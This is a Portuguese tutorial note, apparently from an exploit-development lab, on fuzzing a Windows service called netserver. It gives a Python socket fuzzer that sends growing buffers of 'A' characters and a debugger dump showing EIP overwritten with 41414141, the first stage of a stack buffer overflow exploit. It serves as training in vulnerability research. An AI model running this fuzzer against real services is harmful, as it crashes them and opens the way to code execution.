

Fuzzing com Python

→ O objetivo é enviar um pacote de dados para a aplicação de forma incremental, até que ela quebre

```
#!/usr/bin/python
import socket


lista=["A"]
contador=100

while len(lista) <= 50:
    lista.append("A"*contador)
    contador = contador + 100

for dados in lista:
    print(f"Fuzzing com SEND {len(dados)} bytes")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("172.15.0.97",5800))
    s.recv(1024)
    cmd = "SEND "+dados+"\r\n"
    s.send(cmd.encode())
```

→ Esse script acima será executado no Linux enquanto no Windows executamos o **netserver.exe**

→ Antes de executarmos o script acima, vamos iniciar o Immunity Debugger dps de ter iniciado o netserver para ver o que está acontecendo no programa:

File → Attach → Netserver → 

→ Ao executar o script em python, vemos que a aplicação para de responder ali perto dos 2200 bytes

→ Enquanto isso, podemos ver a stack lotada já:

CPU - thread 00002CBC

Registers <FPU>

< < < < < < < <
EAX 00F6F238 ASCII "SEND AA
ECX 007FFD74
EDX 00000D41
ERX 0000018C
ESP 00F6FA18 ASCII "AA
EBP 41414141
ESI 004018F0 netserve.004018F0
EDI 004018F0 netserve.004018F0
EIP 41414141
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 0023 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 337000(CFFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 <NO,NB,E,BE,NS,PE,GE,LE>
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g

PST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 <GT>
FCM 027F Prec NERR,53 Mask 1 1 1 1 1

Address Hex dump ASCII

00405000 00 00 00 00 02 00 00 00 FD FF FF FF 00 40 00 00 ...0...
00405010 64 4E 40 00 FF FF FF FF 00 00 00 00 00 00 00 00 NG.
00405020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00405030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00405040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00405050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00405060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00405070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00405080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00405090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
004050A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
004050B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
004050C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
004050D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00F6FA18 41414141 AAAA
00F6FA1C 41414141 AAAA
00F6FA20 41414141 AAAA
00F6FA24 41414141 AAAA
00F6FA28 41414141 AAAA
00F6FA2C 41414141 AAAA
00F6FA30 41414141 AAAA
00F6FA34 41414141 AAAA
00F6FA38 41414141 AAAA
00F6FA3C 41414141 AAAA
00F6FA40 41414141 AAAA
00F6FA44 41414141 AAAA
00F6FA48 41414141 AAAA
00F6FA4C 41414141 AAAA
00F6FA50 41414141 AAAA